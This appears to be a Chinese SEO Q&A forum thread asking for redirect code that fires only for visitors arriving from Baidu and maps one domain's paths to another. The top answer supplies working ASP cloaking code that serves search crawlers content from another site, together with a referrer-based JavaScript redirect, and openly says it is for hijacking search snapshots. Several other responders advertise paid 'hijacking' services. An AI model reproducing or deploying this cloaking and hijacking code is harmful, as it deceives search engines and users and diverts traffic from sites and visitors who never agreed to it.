跳转代码,实现对应跳转 悬赏88元 已结束

9,145 次浏览

求跳转代码功能:

1.直接输入网址不跳转,在百度上点击跳转

2.能实现对应跳的功能 比如设置一个跳转后,www.123.com 跳到 www.456.com。  成功之后。  www.123.com/aa也自动能对应跳www.456.com/aa 不需要再设置    而且域名下的其他后缀都可以 如www.123.com/bb 也自动能对应跳www.456.com/bb

追加问题
    13 人参与回答
Rui六耳网管阳光 等 4 人赞同该回答

<%@ LANGUAGE = VBScript.Encode %><%

Dim agent

agent=Request.ServerVariables(“http_user_agent”)

If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr(agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then

linkurl=”http://www.网站地址.com” ‘快照网址

Function GetBody(Url)

Dim objXML

On Error Resume Next

Set objXML = CreateObject(“Microsoft.XMLHTTP”)

With objXML

.Open “Get”, Url, False, “”, “”

.Send

GetBody = .ResponseBody

End With

GetBody=BytesToBstr(GetBody,”GB2312″)

Set objXML = Nothing

End Function

Function BytesToBstr(strBody,CodeBase)

dim obJStream

set objStream = Server.CreateObject(“Adodb.Stream”)

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write strBody

objStream.Position = 0

objStream.Type = 2

objStream.Charset = CodeBase

BytesToBstr = objStream.ReadText

objStream.Close

set objStream = nothing

End Function

response.write GetBody(linkurl)

End if%>

var s=document.referrer

if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )

location.href=”http://www.baidu.com”;


如果目的是劫持快照,这段代码足以。

代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。

柳海
柳海 · 80后,SEO/SEM爱好者,V信:hai-world

如果是PHP的网站,301代码如下
$the_host = $_SERVER['HTTP_HOST'];//取得当前域名
$the_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';//判断地址后面部分
$the_url = strtolower($the_url);//将英文字母转成小写
if($the_url=="/")//判断是不是首页
{
$the_url="";//如果是首页,赋值为空
}
if($the_host == 'o域名.com')//如果域名是不带www的网址那么进行下面的301跳转
{
header('HTTP/ 301 Moved Permanently');//发出301头部
header('Location:域名.com'.$the_url);//跳转到带www的网址
}

红色部分就是就是解决方案,希望能帮到你!

王威健
王威健 · 3年SEO经历 欢迎多交流 学习阶段

看看这篇文章http://ask.seowhy.com/article/4333

30元
获得赏金

我有一个代码可以根据关键词跳转到不同的网页!

29元
获得赏金
高飞
高飞 · 素材火

第二条我知道有代码实现,但第一条判断百度来路就不清楚了,估计方法还是有的

29元
获得赏金
奥义星 · seo比较恼火

联系我qq315.344.306我教你 价格可不止你这点 但是跳转可以实现 比你的更高级

李广泽
李广泽 · 企业网站,自己销售产品

做301可以吧

刘友志
刘友志 · 网络安全资深工程师,玩玩黑帽SEO 【QQ:1203259341】

第一个,可以用劫持代码进行跳转,劫持百度蜘蛛, 这个你联系我

第二个 就相对简单 301设置就可以完成

张邦林 · 邦林织梦专注seo,精通织梦 wordpress网站建设

手机http://m.brzcn.cn/a/jiatingjiaoyu/    电脑 http://www.brzcn.cn/a/jiatingjiaoyu/  互相跳转这样的可以吗  代码 如下 if ((window.navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {

	if(window.location.href.indexOf('http://m.brzcn.cn')<0){
window.location.href = window.location.href.replace('http://www.brzcn.cn','http://m.brzcn.cn');
}
}


优云客 · 专注seo、网站建设 价格从优QQ:237864396

如果是你只是想做PC段的挑战,直接就是301 就可以搞定。如果是PC跳移动的话,那个要看你用的什么程序,这个不复杂的。百度都可以搜索到的。

加载更多